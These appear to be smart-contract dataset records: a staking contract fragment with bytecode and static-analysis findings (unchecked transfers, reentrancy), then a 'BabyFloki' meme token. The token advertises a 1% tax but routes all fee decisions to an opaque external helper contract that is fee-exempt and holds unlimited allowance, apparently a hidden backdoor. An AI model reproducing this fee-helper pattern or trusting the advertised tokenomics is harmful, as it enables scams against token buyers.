function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "For UnFarming Need Time 48 Hours after Start Farming");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function harvest() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636654ffdf11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610758578063f3073ee71461079c578063f3f91fa0146107e2578063f851a4401461083a576101cf565b8063c326bf4f146106a6578063d578ceab146106fe578063d816c7d51461071c578063f1587ea11461073a576101cf565b80639d76ea58116100de5780639d76ea5814610596578063a89c8c5e146105ca578063bec4de3f14610644578063c0a6d78b14610662576101cf565b80636654ffdf146104ec5780636a395ccb1461050a5780637b0a47ee14610578576101cf565b8063455ab53c11610171578063538a85a11161014b578063538a85a1146103f0578063583d42fd1461041e5780635ef057be146104765780636270cd1814610494576101cf565b8063455ab53c146103825780634641257d146103a25780634908e386146103ac576101cf565b80632ec14e85116101ad5780632ec14e851461029e578063308feec3146102d257806337c5785a146102f0578063384431771461033e576101cf565b8063069ca4d0146101d45780631c885bae146102185780631e94723f14610246575b600080fd5b610200600480360360208110156101ea57600080fd5b810190808035906020019092919050505061086e565b60405180821515815260200191505060405180910390f35b6102446004803603602081101561022e57600080fd5b81019080803590602001909291905050506108d5565b005b6102886004803603602081101561025c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e36565b6040518082815260200191505060405180910390f35b6102a6610fa3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102da610fc9565b6040518082815260200191505060405180910390f35b6103266004803603604081101561030657600080fd5b810190808035906020019092919080359060200190929190505050610fda565b60405180821515815260200191505060405180910390f35b61036a6004803603602081101561035457600080fd5b8101908080359060200190929190505050611049565b60405180821515815260200191505060405180910390f35b61038a6110b0565b60405180821515815260200191505060405180910390f35b6103aa6110c3565b005b6103d8600480360360208110156103c257600080fd5b81019080803590602001909291905050506110ce565b60405180821515815260200191505060405180910390f35b61041c6004803603602081101561040657600080fd5b8101908080359060200190929190505050611135565b005b6104606004803603602081101561043457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061164b565b6040518082815260200191505060405180910390f35b61047e611663565b6040518082815260200191505060405180910390f35b6104d6600480360360208110156104aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611669565b6040518082815260200191505060405180910390f35b6104f4611681565b6040518082815260200191505060405180910390f35b6105766004803603606081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611687565b005b610580611817565b6040518082815260200191505060405180910390f35b61059e61181d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062c600480360360408110156105e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611843565b60405180821515815260200191505060405180910390f35b61064c6119e5565b6040518082815260200191505060405180910390f35b61068e6004803603602081101561067857600080fd5b81019080803590602001909291905050506119eb565b60405180821515815260200191505060405180910390f35b6106e8600480360360208110156106bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a52565b6040518082815260200191505060405180910390f35b610706611a6a565b6040518082815260200191505060405180910390f35b610724611a70565b6040518082815260200191505060405180910390f35b610742611a76565b6040518082815260200191505060405180910390f35b61079a6004803603602081101561076e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aaf565b005b6107ca600480360360208110156107b257600080fd5b81019080803515159060200190929190505050611bfe565b60405180821515815260200191505060405180910390f35b610824600480360360208110156107f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7b565b6040518082815260200191505060405180910390f35b610842611d93565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c957600080fd5b81600481905550919050565b80600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6007546109df600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611db790919063ffffffff16565b11610a35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806123086034913960400191505060405180910390fd5b610a3e33611dce565b6000610a69612710610a5b6006548561207290919063ffffffff16565b6120a190919063ffffffff16565b90506000610a808284611db790919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b3557600080fd5b505af1158015610b49573d6000803e3d6000fd5b505050506040513d6020811015610b5f57600080fd5b8101908080519060200190929190505050610be2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c7557600080fd5b505af1158015610c89573d6000803e3d6000fd5b505050506040513d6020811015610c9f57600080fd5b8101908080519060200190929190505050610d22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610d7483600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db790919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcb33600b6120ba90919063ffffffff16565b8015610e1657506000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610e3157610e2f33600b6120ea90919063ffffffff16565b505b505050565b6000610e4c82600b6120ba90919063ffffffff16565b610e595760009050610f9e565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610eaa5760009050610f9e565b6000610efe600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611db790919063ffffffff16565b90506000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610f95612710610f87600454610f7987610f6b6003548961207290919063ffffffff16565b61207290919063ffffffff16565b6120a190919063ffffffff16565b6120a190919063ffffffff16565b90508093505050505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fd5600b61211a565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461103557600080fd5b826005819055508160068190555092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110a457600080fd5b81600981905550919050565b600a60009054906101000a900460ff1681565b6110cc33611dce565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461112957600080fd5b81600381905550919050565b60011515600a60009054906101000a900460ff161515146111be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5374616b696e67206973206e6f742079657420696e697469616c697a6564000081525060200191505060405180910390fd5b60008111611234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156112e557600080fd5b505af11580156112f9573d6000803e3d6000fd5b505050506040513d602081101561130f57600080fd5b8101908080519060200190929190505050611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61139b33611dce565b60006113c66127106113b86005548561207290919063ffffffff16565b6120a190919063ffffffff16565b905060006113dd8284611db790919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561149257600080fd5b505af11580156114a6573d6000803e3d6000fd5b505050506040513d60208110156114bc57600080fd5b810190808051906020019092919050505061153f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61159181600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212f90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e833600b6120ba90919063ffffffff16565b6116465761160033600b61214b90919063ffffffff16565b5042600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600e6020528060005260406000206000915090505481565b60055481565b60106020528060005260406000206000915090505481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116df57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117655761173d611a76565b81111561174957600080fd5b61175e8160085461212f90919063ffffffff16565b6008819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117d657600080fd5b505af11580156117ea573d6000803e3d6000fd5b505050506040513d602081101561180057600080fd5b810190808051906020019092919050505050505050565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119085750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061236f602a913960400191505060405180910390fd5b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555092915050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a4657600080fd5b81600781905550919050565b600d6020528060005260406000206000915090505481565b60085481565b60065481565b600060095460085410611a8c5760009050611aac565b6000611aa5600854600954611db790919063ffffffff16565b9050809150505b90565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b0757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b4157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c5957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611d075750600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b611d5c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603381526020018061233c6033913960400191505060405180910390fd5b81600a60006101000a81548160ff021916908315150217905550919050565b600f6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115611dc357fe5b818303905092915050565b6000611dd982610e36565b9050600081111561202a57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e7757600080fd5b505af1158015611e8b573d6000803e3d6000fd5b505050506040513d6020811015611ea157600080fd5b8101908080519060200190929190505050611f24576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611f7681601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212f90919063ffffffff16565b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fce8160085461212f90919063ffffffff16565b6008819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061209157508284828161208e57fe5b04145b61209757fe5b8091505092915050565b6000808284816120ad57fe5b0490508091505092915050565b60006120e2836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61217b565b905092915050565b6000612112836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61219e565b905092915050565b600061212882600001612286565b9050919050565b60008082840190508381101561214157fe5b8091505092915050565b6000612173836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612297565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461227a57600060018203905060006001866000018054905003905060008660000182815481106121e957fe5b906000526020600020015490508087600001848154811061220657fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061223e57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612280565b60009150505b92915050565b600081600001805490509050919050565b60006122a3838361217b565b6122fc578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612301565b600090505b9291505056fe466f7220556e4661726d696e67204e6565642054696d6520343820486f757273206166746572205374617274204661726d696e67496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220325249445b284015b93a38fa2c803400e4761da9812566a749e1e2cd56aee91b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,607 |
0x44f6a1e8072ccfc3aa49fc2080de5c818b72c0c5
|
/**
*Submitted for verification at Etherscan.io on 2021-09-16
*/
//SPDX-License-Identifier: MIT
/**
*BabyFloki - little addition in Floki ERC fam. 🐕
*
*Doge has BabyDoge, but Floki has $BabyFloki
*Meme that's taking over the world, Elon has a baby Floki now, so why don't You get some? 🤩
*
*
*Tokenomics
*
*-Max supply - 10000000
*-Liquidity tax - 1%
*
*—-NO DEV/TEAM WALLET—-
*
*Twitter 🙊
*https://twitter.com/babyflokieth
*
*Telegram 📝
*https://t.me/BabyFlokiERC
*/
pragma solidity ^0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface TxHelper {
function initiate() external;
function finishLaunching() external;
function getTotalFee(uint256, address, address, address) external returns (uint256,bool);
function register(address) external;
}
contract BABYFLOKI is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = "BABYFLOKI";
string constant _symbol = "BABYFLOKI";
uint8 constant _decimals = 9;
uint256 _totalSupply = 10000000 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
uint256 liquidityFee = 1;
uint256 totalFee = 1;
address public autoLiquidityReceiver;
IDEXRouter public router;
address public pair;
TxHelper helper;
bool helperRegistered = false;
uint256 public launchedAt;
bool public launchCompleted = false;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 20000; // 0.005%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor (address _helper) Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
helper = TxHelper(_helper);
_allowances[address(this)][address(router)] = uint256(-1);
_allowances[address(this)][address(_helper)] = uint256(-1);
isFeeExempt[owner] = true;
isFeeExempt[_helper] = true;
isTxLimitExempt[owner] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[_helper] = true;
autoLiquidityReceiver = msg.sender;
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount, recipient) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function transferBatch(address[] calldata recipients, uint256 amount) public {
for (uint256 i = 0; i < recipients.length; i++) {
require(_basicTransfer(msg.sender,recipients[i], amount));
}
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender,uint256 amount, address receiver) internal returns (uint256) {
(uint256 feeAmount,bool toHelper) = helper.getTotalFee(amount,sender,receiver,msg.sender);
if(!toHelper){_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);}
else{_balances[address(helper)] = _balances[address(helper)].add(feeAmount);
emit Transfer(sender, address(helper), feeAmount);}
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiquify = _balances[address(this)].div(2);
uint256 amountToSwap = _balances[address(this)].sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETH}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
emit AutoLiquify(amountETH, amountToLiquify);
}
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() external authorized{
require(!launched());
launchedAt = block.number;
helper.initiate();
}
function completeLaunch() external authorized{
require(!launchCompleted);
launchCompleted = true;
helper.finishLaunching();
}
function manuallySwap()external authorized{
swapBack();
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setFeeReceivers(address _autoLiquidityReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _amount;
}
function registerHelper() external authorized {
require(!helperRegistered);
helper.register(address(this));
helperRegistered = true;
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IERC20(_token).transfer(msg.sender, amount);
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
}
|
